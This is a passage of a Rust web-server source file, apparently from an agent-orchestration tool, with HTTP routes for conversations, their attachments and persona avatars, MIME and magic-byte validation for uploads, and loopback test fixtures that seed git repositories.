7973        blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
7974    };
7975    let cfg = config_for(&repo).await?;
7976    // Refuse a request that cannot succeed before taking the claim: a claim
7977    // taken for it is handed to `drain_loop`, which holds the talk busy for a
7978    // moment, so a refusal would make the next request see "busy" instead of
7979    // its own answer. The checks after the claim stay the ones that decide.
7980    {
7981        let ui = Arc::clone(&ui);
7982        let id = id.clone();
7983        let cfg = cfg.clone();
7984        let wanted = body.implementers;
7985        blocking(move || {
7986            talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
7987            refuse_if_closed(&ui.talks.get(&id)?)
7988        })
7989        .await?;
7990    }
7991    let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
7992        return Err(ApiError::conflict(
7993            "a talk turn is running; change the implementers once it has answered",
7994        ));
7995    };
7996    let switched = {
7997        let ui = Arc::clone(&ui);
7998        let id = id.clone();
7999        let cfg = cfg.clone();
8000        blocking(move || {
8001            let chosen =
8002                talk::check_implementers(body.implementers, &cfg).map_err(ApiError::bad_request)?;
8003            let mut talk = ui.talks.get(&id)?;
8004            if !talk.status.open() {
8005                return Err(ApiError::conflict(format!(
8006                    "talk {} is {} and takes no more turns",
8007                    talk.short(),
8008                    talk.status.as_str()
8009                )));
8010            }
8011            talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
8012            Ok(talk)
8013        })
8014        .await
8015    };
8016    // As in `talk_agent`: settle the claim before replying, even on refusal.
8017    let observed = ui.queued_generation(&id);
8018    let fresh = {
8019        let ui = Arc::clone(&ui);
8020        let id = id.clone();
8021        blocking(move || Ok(ui.talks.get(&id)?)).await
8022    };
8023    let draining = match fresh {
8024        Ok(talk) => {
8025            settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
8026        }
8027        Err(_) => false,
8028    };
8029    let talk = switched?;
8030    Ok(Json(TalkView::new(talk, draining)))
8031}
8032
8033/// `POST /api/talks/{id}/close`.
8034async fn talk_close(
8035    State(ui): State<Arc<Ui>>,
8036    Path(id): Path<String>,
8037) -> ApiResult<Json<TalkView>> {
8038    blocking(move || {
8039        let id = resolve_talk(&ui.talks, &id)?;
8040        let mut talk = ui.talks.get(&id)?;
8041        talk::close(&mut talk, &ui.talks)?;
8042        let thinking = ui.is_thinking(&talk.id);
8043        Ok(Json(TalkView::new(talk, thinking)))
8044    })
8045    .await
8046}
8047
8048/// `POST /api/talks/{id}/reopen`.
8049async fn talk_reopen(
8050    State(ui): State<Arc<Ui>>,
8051    Path(id): Path<String>,
8052) -> ApiResult<Json<TalkView>> {
8053    blocking(move || {
8054        let id = resolve_talk(&ui.talks, &id)?;
8055        let mut talk = ui.talks.get(&id)?;
8056        talk::reopen(&mut talk, &ui.talks)?;
8057        let thinking = ui.is_thinking(&talk.id);
8058        Ok(Json(TalkView::new(talk, thinking)))
8059    })
8060    .await
8061}
8062
8063/// `DELETE /api/talks/{id}`.
8064///
8065/// Removes the conversation's record and artifacts outright, unlike
8066/// [`talk_close`] which keeps the record as history. A turn already in
8067/// flight is not refused here the way [`run_delete`] refuses a live run:
8068/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
8069/// under [`Talks::guard`], that the record they are about to write back is
8070/// still there, so a delete racing a turn is safe without this route having
8071/// to know a turn is running at all.
8072async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
8073    blocking(move || {
8074        let id = resolve_talk(&ui.talks, &id)?;
8075        ui.talks.remove(&id)?;
8076        Ok(StatusCode::NO_CONTENT)
8077    })
8078    .await
8079}
8080
8081/// Expand an id or short id to exactly one talk id.
8082fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
8083    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
8084}
8085
8086/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
8087/// future `talk-say`.
8088async fn talk_attachment_post(
8089    State(ui): State<Arc<Ui>>,
8090    Path(id): Path<String>,
8091    headers: HeaderMap,
8092    body: Bytes,
8093) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
8094    let mime = validate_attachment(&headers, &body)?;
8095    let name = filename_header(&headers);
8096    let data = body.to_vec();
8097    blocking(move || {
8098        let id = resolve_talk(&ui.talks, &id)?;
8099        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
8100        Ok((StatusCode::CREATED, Json(att)))
8101    })
8102    .await
8103}
8104
8105/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
8106/// `<img>` tag in the transcript.
8107async fn talk_attachment_get(
8108    State(ui): State<Arc<Ui>>,
8109    Path((id, att)): Path<(String, String)>,
8110) -> ApiResult<Response> {
8111    blocking(move || {
8112        let id = resolve_talk(&ui.talks, &id)?;
8113        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
8114            return Err(ApiError::not_found(format!(
8115                "talk {id} has no attachment `{att}`"
8116            )));
8117        };
8118        Ok(attachment_response(&meta.mime, data))
8119    })
8120    .await
8121}
8122
8123/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
8124/// the icon setting, so changing it changes the URL.
8125fn avatar_url(talk_id: &str, p: &persona::Persona) -> String {
8126    let mut id = String::new();
8127    for b in p.id.bytes() {
8128        if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
8129            id.push(char::from(b));
8130        } else {
8131            id.push_str(&format!("%{b:02X}"));
8132        }
8133    }
8134    format!(
8135        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
8136        persona_icon::fingerprint(p.icon.as_deref())
8137    )
8138}
8139
8140#[derive(Debug, Default, Deserialize)]
8141struct AvatarQuery {
8142    persona: Option<String>,
8143    /// Set by the page after the first load failed: skip the `icon`.
8144    builtin: Option<String>,
8145}
8146
8147/// Served with every built-in avatar: it is an image, so nothing else may run.
8148const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
8149
8150fn builtin_avatar(id: &str) -> Response {
8151    svg_avatar(persona_icon::builtin_svg(id))
8152}
8153
8154async fn operator_avatar() -> Response {
8155    svg_avatar(persona_icon::operator_svg())
8156}
8157
8158fn svg_avatar(svg: &'static str) -> Response {
8159    (
8160        [
8161            (header::CONTENT_TYPE, "image/svg+xml"),
8162            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8163            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
8164            (header::CACHE_CONTROL, "no-cache"),
8165        ],
8166        svg,
8167    )
8168        .into_response()
8169}
8170
8171/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
8172/// operator's raster `icon` when it resolves and its bytes agree with its
8173/// type, the built-in SVG otherwise. Display only; every failure is a warning
8174/// and the built-in avatar, never an error response.
8175async fn talk_avatar(
8176    State(ui): State<Arc<Ui>>,
8177    Path(id): Path<String>,
8178    Query(q): Query<AvatarQuery>,
8179) -> ApiResult<Response> {
8180    blocking(move || {
8181        let id = resolve_talk(&ui.talks, &id)?;
8182        let talk = ui.talks.get(&id)?;
8183        let wanted = q
8184            .persona
8185            .as_deref()
8186            .map(str::trim)
8187            .filter(|p| !p.is_empty())
8188            .unwrap_or(&talk.persona)
8189            .to_owned();
8190        let specs = match Config::discover(&talk.repo, None) {
8191            Ok((cfg, _)) => cfg.talk.personas,
8192            Err(e) => {
8193                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
8194                Vec::new()
8195            }
8196        };
8197        let Some(found) = persona::find(&specs, &wanted) else {
8198            return Ok(builtin_avatar(persona::DEFAULT_ID));
8199        };
8200        let Some(icon) = found.icon.as_deref().filter(|_| q.builtin.is_none()) else {
8201            return Ok(builtin_avatar(&found.id));
8202        };
8203        match persona_icon::load(icon) {
8204            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
8205                let mut res = attachment_response(mime, bytes);
8206                res.headers_mut().insert(
8207                    header::CACHE_CONTROL,
8208                    header::HeaderValue::from_static("no-cache"),
8209                );
8210                Ok(res)
8211            }
8212            Ok((mime, _)) => {
8213                tracing::warn!(
8214                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
8215                    found.id
8216                );
8217                Ok(builtin_avatar(&found.id))
8218            }
8219            Err(e) => {
8220                tracing::warn!(
8221                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
8222                    found.id
8223                );
8224                Ok(builtin_avatar(&found.id))
8225            }
8226        }
8227    })
8228    .await
8229}
8230
8231/// Validate an attachment upload's declared `Content-Type` and the bytes
8232/// themselves, returning the canonical mime on success.
8233///
8234/// Two checks, both required: the header has to name one of
8235/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
8236/// simply never in the list, active content rather than a picture, the same
8237/// exclusion [`asset_content_type`]'s doc explains), and the file's own
8238/// magic number has to agree. The second is what stops a mislabeled upload -
8239/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
8240/// a declared type is a claim, not a fact, so it is never trusted alone.
8241fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
8242    if data.len() > ATTACHMENT_MAX_BYTES {
8243        return Err(ApiError::bad_request(format!(
8244            "attachment is {} bytes, over the {} MiB limit",
8245            data.len(),
8246            ATTACHMENT_MAX_BYTES / (1024 * 1024)
8247        ))
8248        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
8249    }
8250    if data.is_empty() {
8251        return Err(ApiError::bad_request("attachment is empty"));
8252    }
8253    let declared = declared_mime(headers)?;
8254    match sniffed_mime(data) {
8255        Some(sniffed) if sniffed == declared => Ok(declared),
8256        Some(sniffed) => Err(ApiError::bad_request(format!(
8257            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
8258        ))),
8259        None => Err(ApiError::bad_request(
8260            "the file's bytes do not match any accepted image format",
8261        )),
8262    }
8263}
8264
8265/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
8266/// and nothing else - parameters like `; charset=` are stripped, but the
8267/// value itself is not otherwise interpreted.
8268fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
8269    let raw = headers
8270        .get(header::CONTENT_TYPE)
8271        .and_then(|v| v.to_str().ok())
8272        .unwrap_or("")
8273        .split(';')
8274        .next()
8275        .unwrap_or("")
8276        .trim()
8277        .to_ascii_lowercase();
8278    ATTACHMENT_MIME_WHITELIST
8279        .iter()
8280        .find(|&&m| m == raw)
8281        .copied()
8282        .ok_or_else(|| {
8283            if raw == "image/svg+xml" {
8284                ApiError::bad_request(
8285                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
8286                     not just a picture",
8287                )
8288            } else if raw.is_empty() {
8289                ApiError::bad_request("Content-Type is required for an attachment upload")
8290            } else {
8291                ApiError::bad_request(format!(
8292                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
8293                     image/gif or image/webp"
8294                ))
8295            }
8296        })
8297}
8298
8299/// Identify an image by its magic number, independent of whatever
8300/// `Content-Type` claimed.
8301fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
8302    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
8303        Some("image/png")
8304    } else if data.starts_with(b"\xff\xd8\xff") {
8305        Some("image/jpeg")
8306    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
8307        Some("image/gif")
8308    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
8309        Some("image/webp")
8310    } else {
8311        None
8312    }
8313}
8314
8315/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
8316/// display - see [`talk::Attachment::name`]'s doc on why it never
8317/// contributes to a path. A missing or blank header (curl without it, an
8318/// older front end) falls back to a generic name rather than refusing the
8319/// upload over a field that is cosmetic.
8320fn filename_header(headers: &HeaderMap) -> String {
8321    headers
8322        .get(FILENAME_HEADER)
8323        .and_then(|v| v.to_str().ok())
8324        .map(str::trim)
8325        .filter(|s| !s.is_empty())
8326        .unwrap_or("attachment")
8327        .to_owned()
8328}
8329
8330/// Every attachment `GET` response: the mime re-validated against the same
8331/// closed whitelist the upload route enforces - never the string trusted
8332/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
8333/// cannot decide it knows better than the type we send. Unlike a panel asset
8334/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
8335/// document renders inline, not agent-authored HTML in a sandboxed frame.
8336fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
8337    let content_type = ATTACHMENT_MIME_WHITELIST
8338        .iter()
8339        .find(|&&m| m == mime)
8340        .copied()
8341        .unwrap_or("application/octet-stream");
8342    (
8343        [
8344            (header::CONTENT_TYPE, content_type),
8345            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
8346        ],
8347        body,
8348    )
8349        .into_response()
8350}
8351
8352/// The configuration for a repository, read off the disk for this request.
8353///
8354/// Through [`blocking`] because discovery reads and merges several TOML files,
8355/// and because the alternative - caching it in [`Ui`] at startup - would mean
8356/// the operator's phone kept interviewing with a roster they had already
8357/// changed, with no way to reload it but restarting the server they are not
8358/// sitting in front of.
8359async fn config_for(repo: &FsPath) -> ApiResult<Config> {
8360    let repo = repo.to_path_buf();
8361    blocking(move || {
8362        let (cfg, _) = Config::discover(&repo, None)?;
8363        Ok(cfg)
8364    })
8365    .await
8366}
8367
8368/// The one prefix rule, used for both runs and tasks: a leading match for a
8369/// full id, a trailing match for the short form an operator reads off a
8370/// report. Written here rather than borrowed from `queue::resolve_id` because
8371/// the UI needs the two failures as different status codes, and telling them
8372/// apart from an error message is not something to build a route on.
8373fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
8374    let mut hits = ids
8375        .into_iter()
8376        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
8377    match (hits.next(), hits.next()) {
8378        (Some(one), None) => Ok(one),
8379        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
8380        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
8381            "`{prefix}` matches more than one {what}, including {a} and {b}"
8382        ))),
8383    }
8384}
8385
8386#[cfg(test)]
8387mod tests {
8388
8389    #[test]
8390    fn holder_reads_the_lease_not_the_record() {
8391        let mut q = Question::new(
8392            "run".to_owned(),
8393            "implement".to_owned(),
8394            "impl-A".to_owned(),
8395            "which?".to_owned(),
8396            String::new(),
8397            Vec::new(),
8398        );
8399        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
8400        q.cwd = Some("/tmp".to_owned());
8401        assert_eq!(holder_of(&q, None), Some("nobody"));
8402        let beat = |kind, ago: i64| ask::Lease {
8403            kind,
8404            pid: 1,
8405            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
8406                .unwrap(),
8407        };
8408        let fresh = beat(ask::WaiterKind::Asker, 1);
8409        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
8410        let daemon = beat(ask::WaiterKind::Daemon, 1);
8411        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
8412        let stale = beat(ask::WaiterKind::Asker, 3600);
8413        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
8414
8415        // A conductor question says "deputy" only while one is attached and
8416        // alive, and "nobody" - never silence - when nothing ever listened.
8417        let mut c = Question::new(
8418            "task".to_owned(),
8419            crate::conduct::NODE.to_owned(),
8420            "conduct".to_owned(),
8421            "which?".to_owned(),
8422            String::new(),
8423            Vec::new(),
8424        );
8425        assert_eq!(holder_of(&c, None), Some("nobody"));
8426        c.cwd = Some("/tmp".to_owned());
8427        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
8428        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
8429        let deputy = beat(ask::WaiterKind::Deputy, 1);
8430        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
8431        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
8432
8433        // A release-watch question: nobody until a deputy is attached.
8434        let mut r = Question::new(
8435            String::new(),
8436            crate::bump::NOTICE_NODE.to_owned(),
8437            "release-watch".to_owned(),
8438            "stuck?".to_owned(),
8439            String::new(),
8440            vec!["hold".to_owned()],
8441        );
8442        assert_eq!(holder_of(&r, None), Some("nobody"));
8443        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
8444        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
8445        // A choice-less bump notice is nobody's question at all.
8446        r.deputy = None;
8447        r.seat = "bump".to_owned();
8448        assert_eq!(holder_of(&r, None), None);
8449
8450        // A merge approval is the same: nobody until a deputy is attached
8451        // and alive, never a silent "no holder".
8452        let mut m = Question::new(
8453            "run".to_owned(),
8454            crate::land::APPROVAL_NODE.to_owned(),
8455            "land".to_owned(),
8456            "merge?".to_owned(),
8457            String::new(),
8458            Vec::new(),
8459        );
8460        assert_eq!(holder_of(&m, None), Some("nobody"));
8461        assert_eq!(
8462            holder_of(&m, Some(&fresh)),
8463            Some("nobody"),
8464            "a lease with no deputy is not a listener"
8465        );
8466        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
8467        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
8468        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
8469        assert_eq!(holder_of(&m, None), Some("nobody"));
8470    }
8471
8472    fn stub_config() -> Config {
8473        // An explicit roster, so the result never depends on which agent CLIs
8474        // this machine has installed.
8475        Config {
8476            agents: vec![crate::config::AgentSpec {
8477                id: "stub".to_owned(),
8478                kind: AgentKind::Command,
8479                model: None,
8480                command: vec!["true".to_owned()],
8481                extra_args: Vec::new(),
8482                env: Default::default(),
8483                prompt_delivery: None,
8484            }],
8485            ..Config::default()
8486        }
8487    }
8488
8489    fn plain_question(seat: &str) -> Question {
8490        Question::new(
8491            String::new(),
8492            "n".to_owned(),
8493            seat.to_owned(),
8494            "s".to_owned(),
8495            String::new(),
8496            Vec::new(),
8497        )
8498    }
8499
8500    #[test]
8501    fn deputies_enabled_follows_the_config() {
8502        let on = stub_config();
8503        assert!(crate::deputy::can_start(Some(&on), ""));
8504        assert!(crate::deputy::can_start(Some(&on), "stub"));
8505        let mut off = on.clone();
8506        off.daemon.max_deputies = 0;
8507        assert!(!crate::deputy::can_start(Some(&off), ""));
8508        let mut empty = on;
8509        empty.agents.clear();
8510        assert!(!crate::deputy::can_start(Some(&empty), ""));
8511        assert!(!crate::deputy::can_start(None, ""));
8512    }
8513
8514    #[test]
8515    fn question_views_load_the_config_once() {
8516        let dir = TempDir::new().unwrap();
8517        let store = ask::Questions::at(dir.path().to_path_buf());
8518        let mut with_deputy = plain_question("b");
8519        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
8520        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
8521
8522        let calls = std::cell::Cell::new(0usize);
8523        let views = question_views(qs.clone(), &store, || {
8524            calls.set(calls.get() + 1);
8525            Some(stub_config())
8526        });
8527        assert_eq!(calls.get(), 1);
8528        assert_eq!(views.len(), 3);
8529        for (v, q) in views.iter().zip(&qs) {
8530            assert_eq!(
8531                v.deputies_enabled,
8532                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
8533            );
8534        }
8535
8536        let views = question_views(qs, &store, || None);
8537        assert!(views.iter().all(|v| !v.deputies_enabled));
8538
8539        let calls = std::cell::Cell::new(0usize);
8540        let views = question_views(Vec::new(), &store, || {
8541            calls.set(calls.get() + 1);
8542            None
8543        });
8544        assert!(views.is_empty());
8545        assert_eq!(calls.get(), 0);
8546    }
8547
8548    use pretty_assertions::assert_eq;
8549    use serde_json::Value;
8550    use tempfile::TempDir;
8551    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
8552
8553    use super::*;
8554    use crate::config::Config;
8555    use crate::queue::Source;
8556
8557    /// How many 10ms steps a settle loop takes before it calls a stall a
8558    /// stall - thirty seconds.
8559    ///
8560    /// These loops wait on real `sh` subprocesses, and the machine that runs
8561    /// the gate runs several suites at once, so a two-second budget was not
8562    /// waiting for the reply, it was racing the scheduler: two of these
8563    /// tests failed under that load with the turn simply not landed yet.
8564    /// This is a hang guard, not a latency assertion - every loop breaks the
8565    /// moment its condition holds, so a generous cap costs an idle machine
8566    /// nothing and still fails a genuine hang instead of hanging the suite.
8567    const SETTLE_STEPS: usize = 3_000;
8568
8569    /// A home with a queue and a runs directory, and a router serving it on
8570    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
8571    /// dependency, not ours - so the tests drive a real socket, which has the
8572    /// side benefit of asserting the status line and content types the phone
8573    /// actually receives.
8574    struct Fixture {
8575        home: TempDir,
8576        addr: SocketAddr,
8577    }
8578
8579    impl Fixture {
8580        async fn start() -> Self {
8581            Self::with_loop(launch_idle).await
8582        }
8583
8584        /// A fixture whose loop is `launch`.
8585        async fn with_loop(launch: Launch) -> Self {
8586            let home = TempDir::new().expect("temp home");
8587            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
8588            Self { home, addr }
8589        }
8590
8591        /// A fixture whose `ui.repo` is a real directory rather than the
8592        /// usual placeholder - for the routes that read config off it
8593        /// (`GET /api/repos`) and would otherwise have nothing to discover.
8594        async fn with_repo(repo: PathBuf) -> Self {
8595            let home = TempDir::new().expect("temp home");
8596            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
8597            Self { home, addr }
8598        }
8599
8600        /// As [`Fixture::with_repo`], with the machine-config file the
8601        /// settings screen reads and writes.
8602        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
8603            let home = TempDir::new().expect("temp home");
8604            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
8605            Self { home, addr }
8606        }
8607
8608        async fn serve(
8609            home: &FsPath,
8610            repo: PathBuf,
8611            launch: Launch,
8612            machine: Option<PathBuf>,
8613        ) -> SocketAddr {
8614            let queue = Queue::at(home.join("queue"));
8615            let runs = home.join("runs");
8616            std::fs::create_dir_all(&runs).expect("runs dir");
8617            let worktrees = home.join("wt").join("magi");
8618            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
8619            let ui = Ui::new(
8620                queue,
8621                Questions::at(home.join("questions")),
8622                Talks::at(home.join("talks")),
8623                runs,
8624                home.to_path_buf(),
8625                repo,
8626            )
8627            .with_worktrees_root(worktrees)
8628            .with_machine_config(machine)
8629            .with_launch(launch);
8630            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
8631                .await
8632                .expect("bind loopback");
8633            let addr = listener.local_addr().expect("local addr");
8634            tokio::spawn(async move {
8635                let router = ui
8636                    .router()
8637                    .layer(axum::middleware::from_fn(request_cost::observe));
8638                let _ = axum::serve(listener, router).await;
8639            });
8640            addr
8641        }
8642
8643        fn queue(&self) -> Queue {
8644            Queue::at(self.home.path().join("queue"))
8645        }
8646
8647        fn questions(&self) -> Questions {
8648            Questions::at(self.home.path().join("questions"))
8649        }
8650
8651        fn talks(&self) -> Talks {
8652            Talks::at(self.home.path().join("talks"))
8653        }
8654
8655        fn runs(&self) -> PathBuf {
8656            self.home.path().join("runs")
8657        }
8658
8659        async fn get(&self, path: &str) -> Res {
8660            request(self.addr, "GET", path, None).await
8661        }
8662
8663        /// The status and headers without the body, which is how the front end
8664        /// preflights a panel: a sandboxed frame is opaque to the parent
8665        /// document, so the only way to tell "no panel" from "a panel that
8666        /// rendered blank" is to ask before mounting.
8667        async fn head(&self, path: &str) -> Res {
8668            request(self.addr, "HEAD", path, None).await
8669        }
8670
8671        async fn post(&self, path: &str, body: Option<&str>) -> Res {
8672            request(self.addr, "POST", path, body).await
8673        }
8674
8675        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
8676            request_with(self.addr, "GET", path, None, extra).await
8677        }
8678
8679        async fn delete(&self, path: &str) -> Res {
8680            request(self.addr, "DELETE", path, None).await
8681        }
8682
8683        async fn put(&self, path: &str, body: &str) -> Res {
8684            request(self.addr, "PUT", path, Some(body)).await
8685        }
8686
8687        /// `POST` a raw body with its own headers - see [`request_bytes`].
8688        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
8689            request_bytes(self.addr, path, headers, body).await
8690        }
8691    }
8692
8693    /// Real tracking refs exercise the successful discovery path (including
8694    /// extraction), rather than counting cheap failures on a placeholder repo.
8695    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
8696        let tmp = TempDir::new().unwrap();
8697        let mut repos = Vec::new();
8698        for name in ["one", "two"] {
8699            let repo = tmp.path().join(name);
8700            let origin = tmp.path().join(format!("{name}.git"));
8701            std::fs::create_dir_all(&repo).unwrap();
8702            crate::git::git(&repo, &["init", "-b", "main"])
8703                .await
8704                .unwrap();
8705            std::fs::write(
8706                repo.join("magi.toml"),
8707                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
8708            )
8709            .unwrap();
8710            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
8711            crate::git::git(
8712                &repo,
8713                &[
8714                    "-c",
8715                    "user.name=fixture",
8716                    "-c",
8717                    "user.email=fixture@example.invalid",
8718                    "commit",
8719                    "-m",
8720                    "fixture",
8721                ],
8722            )
8723            .await
8724            .unwrap();
8725            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
8726                .await
8727                .unwrap();
8728            crate::git::git(
8729                &repo,
8730                &["remote", "add", "origin", origin.to_str().unwrap()],
8731            )
8732            .await
8733            .unwrap();
8734            crate::git::git(&repo, &["push", "origin", "main"])
8735                .await
8736                .unwrap();
8737            crate::git::git(
8738                &repo,
8739                &[
8740                    "symbolic-ref",
8741                    "refs/remotes/origin/HEAD",
8742                    "refs/remotes/origin/main",
8743                ],
8744            )
8745            .await
8746            .unwrap();
8747            let (cfg, _) = Config::discover(&repo, None).unwrap();
8748            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
8749            repos.push(repo);
8750        }
8751        let repos: [PathBuf; 2] = repos.try_into().unwrap();
8752        (tmp, repos)
8753    }
8754
8755    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
8756        let (tmp, repos) = performance_repositories().await;
8757        let machine = tmp.path().join("machine.toml");
8758        std::fs::write(&machine, "").unwrap();
8759        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
8760        (tmp, repos, fx)
8761    }
8762
8763    fn seed_performance(
8764        fx: &Fixture,
8765        repos: &[PathBuf; 2],
8766        questions: usize,
8767        runs: usize,
8768        items: usize,
8769    ) {
8770        // Saving states directly never starts a run or changes MAGI_HOME.
8771        for i in fx.questions().list().len()..questions {
8772            let mut question = Question::new(
8773                "20261001-000000-0000".into(),
8774                "implement".into(),
8775                "impl-A".into(),
8776                format!("question {i}"),
8777                "context".into(),
8778                vec!["yes".into(), "no".into()],
8779            );
8780            question.id = format!("20261003-000000-{i:04x}");
8781            fx.questions().put(&mut question).unwrap();
8782        }
8783        for i in run_ids(&fx.runs()).len()..runs {
8784            write_run_repo(
8785                &fx.runs(),
8786                &format!("20261001-000000-{i:04x}"),
8787                RunStatus::Ready,
8788                repos[i % 2].to_str().unwrap(),
8789            );
8790        }
8791        for i in fx.talks().list().len()..items {
8792            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
8793            let mut talk = fx.talks().get(&id).unwrap();
8794            talk.repo = repos[i % 2].clone();
8795            fx.talks().put(&mut talk).unwrap();
8796            let mut task = crate::queue::Task::new(
8797                format!("task {i}"),
8798                "instruction".into(),
8799                repos[i % 2].clone(),
8800                crate::queue::Source::Agent {
8801                    run: id,
8802                    node: crate::queue::CHAT_NODE.into(),
8803                },
8804            );
8805            task.id = format!("20261004-000000-{i:04x}");
8806            fx.queue().put(&mut task).unwrap();
8807            // Notices has a production retention cap; seed up to that cap.
8808            if i < crate::notices::CAP {
8809                Notices::at(fx.home.path().join("notifications"))
8810                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
8811                    .unwrap();
8812            }
8813        }
8814        assert_eq!(fx.questions().list().len(), questions);
8815        assert_eq!(run_ids(&fx.runs()).len(), runs);
8816        assert_eq!(fx.talks().list().len(), items);
8817        assert_eq!(fx.queue().list().len(), items);
8818        assert_eq!(
8819            Notices::at(fx.home.path().join("notifications"))
8820                .list()
8821                .len(),
8822            items.min(crate::notices::CAP)
8823        );
8824    }
8825
8826    fn request_counts(res: &Res) -> (usize, usize) {
8827        assert_eq!(res.status, 200, "{}", res.body);
8828        (
8829            res.header("x-test-discoveries").unwrap().parse().unwrap(),
8830            res.header("x-test-git").unwrap().parse().unwrap(),
8831        )
8832    }
8833
8834    #[tokio::test]
8835    async fn list_request_cost_is_independent_of_record_count() {
8836        let (_tmp, repos, fx) = performance_fixture().await;
8837        let mut previous = None;
8838        for n in [4, 60] {
8839            seed_performance(&fx, &repos, n, n, n);
8840            let mut costs = Vec::new();
8841            for (path, discoveries) in [
8842                ("/api/questions", 1),
8843                ("/api/talks", 2),
8844                ("/api/health", 1),
8845                ("/api/stats", 1),
8846            ] {
8847                // Equal cold extraction caches at both scales; this also
8848                // bounds first-request cost instead of only warmed requests.
8849                for repo in &repos {
8850                    let cache = repo.join(".git/magi/config");
8851                    if cache.exists() {
8852                        std::fs::remove_dir_all(cache).unwrap();
8853                    }
8854                }
8855                let cost = request_counts(&fx.get(path).await);
8856                eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
8857                assert_eq!(cost.0, discoveries, "{path}, N={n}");
8858                assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
8859                costs.push(cost);
8860            }
8861            if let Some(previous) = previous {
8862                assert_eq!(costs, previous);
8863            }
8864            previous = Some(costs);
8865        }
8866        // runs reads shared row inputs and probes process liveness; queue
8867        // builds one blocker inventory; notifications reads its own store.
